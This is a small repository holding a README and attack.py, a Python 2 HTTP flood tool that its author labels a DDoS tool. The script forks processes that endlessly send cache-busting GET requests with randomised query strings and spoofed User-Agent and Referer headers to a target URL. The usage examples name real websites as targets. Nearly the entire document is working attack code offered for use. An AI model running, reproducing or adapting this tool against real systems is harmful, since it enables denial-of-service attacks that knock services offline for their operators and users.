├── README.md └── attack.py /README.md: -------------------------------------------------------------------------------- 1 | ddos 2 | ==== 3 | 4 | DDOS tool in python. 5 | 6 | =============== usage ============= 7 | 8 | python attack.py [option] http://www.firefoxbug.net/ 9 | 10 | -h : help 11 | 12 | -t : lasting time of ddos 13 | 14 | -c : numbers of thread to create 15 | -------------------------------------------------------------------------------- /attack.py: -------------------------------------------------------------------------------- 1 | #/usr/bin/python 2 | 3 | # function : ddos tools 4 | # author : firefoxbug 5 | 6 | import os 7 | import re 8 | import sys 9 | import time 10 | import signal 11 | import socket 12 | import getopt 13 | import random 14 | import urllib2 15 | import threading 16 | 17 | def usage(): 18 | print ''' usage : python attack.py [-t] [-c] http://www.baidu.com/ 19 | -h : help 20 | -t : lasting time of ddos 21 | -c : numbers of thread to create''' 22 | sys.exit() 23 | 24 | # generates a user agent array 25 | def useragent_list(): 26 | global headers_useragents 27 | headers_useragents = [] 28 | headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') 29 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') 30 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') 31 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') 32 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') 33 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') 34 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') 35 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') 36 | headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') 37 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') 38 | headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') 39 | return(headers_useragents) 40 | 41 | # generates a referer array 42 | def referer_list(): 43 | global headers_referers 44 | headers_referers = [] 45 | headers_referers.append('http://www.usatoday.com/search/results?q=') 46 | headers_referers.append('http://engadget.search.aol.com/search?q=') 47 | headers_referers.append('http://' + host + '/') 48 | return(headers_referers) 49 | 50 | def handler(signum,_): 51 | if signum == signal.SIGALRM: 52 | print "Time is up !" 53 | print "Attack finished !" 54 | sys.exit() 55 | 56 | #builds random ascii string 57 | def buildblock(size): 58 | out_str = '' 59 | for i in range(0, size): 60 | a = random.randint(65, 90) 61 | out_str += chr(a) 62 | return(out_str) 63 | 64 | def send_packet(host,param_joiner): 65 | request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10))) 66 | request.add_header('User-Agent', random.choice(headers_useragents)) 67 | request.add_header('Cache-Control', 'no-cache') 68 | request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7') 69 | request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10))) 70 | request.add_header('Keep-Alive', random.randint(110,120)) 71 | request.add_header('Connection', 'keep-alive') 72 | request.add_header('Host',host) 73 | try: 74 | response = urllib2.urlopen(request) 75 | except urllib2.HTTPError,error: 76 | pass 77 | except urllib2.URLError, error: 78 | pass 79 | # print "response code = %d "%response.code 80 | 81 | def attack(host,param_joiner): 82 | while True: 83 | send_packet(host,param_joiner) 84 | 85 | def parse_parameters(parameters): 86 | 87 | global url 88 | global interval 89 | global num_thread 90 | interval_def = 30 91 | num_thread_def = 5 92 | interval = interval_def 93 | num_thread = num_thread_def 94 | try : 95 | opts,args = getopt.getopt(parameters,"ht:c:",["help"]) 96 | url = args[0] 97 | for opt,arg in opts: 98 | if opt in ('-h','--help'): 99 | usage() 100 | elif opt in ('-t','--time'): 101 | if arg.isalnum(): 102 | interval = arg 103 | else: 104 | usage() 105 | elif opt in ('-c','--count'): 106 | if arg.isalnum(): 107 | num_thread = arg 108 | else: 109 | usage() 110 | except getopt.GetoptError: 111 | print("getopt error!"); 112 | usage(); 113 | sys.exit(1); 114 | 115 | if __name__ == '__main__': 116 | if len(sys.argv) < 2: 117 | usage() 118 | sys.exit() 119 | parse_parameters(sys.argv[1:]) 120 | print "Debug : thread=%d time=%d %s"%(int(num_thread),int(interval),url) 121 | if url.count('/') == 2: 122 | url = url + "/" 123 | m = re.search('http\://([^/]*)/?.*', url) 124 | try : 125 | host = m.group(1) 126 | except AttributeError,e: 127 | usage() 128 | sys.exit() 129 | 130 | useragent_list() 131 | referer_list() 132 | 133 | if url.count("?") > 0: 134 | param_joiner = "&" 135 | else: 136 | param_joiner = "?" 137 | 138 | signal.signal(signal.SIGINT, handler) 139 | signal.signal(signal.SIGALRM, handler) 140 | signal.alarm(int(interval)) 141 | 142 | for i in range(int(num_thread)): 143 | newpid = os.fork() 144 | if newpid == 0: 145 | # signal.signal(signal.SIGINT, signal.SIG_DFL) 146 | attack(host,param_joiner) 147 | else: 148 | pass 149 | # print ("Child process",os.getpid(),newpid) 150 | time.sleep(int(interval)) 151 | signal.alarm(0) 152 | print "main thread exit..." --------------------------------------------------------------------------------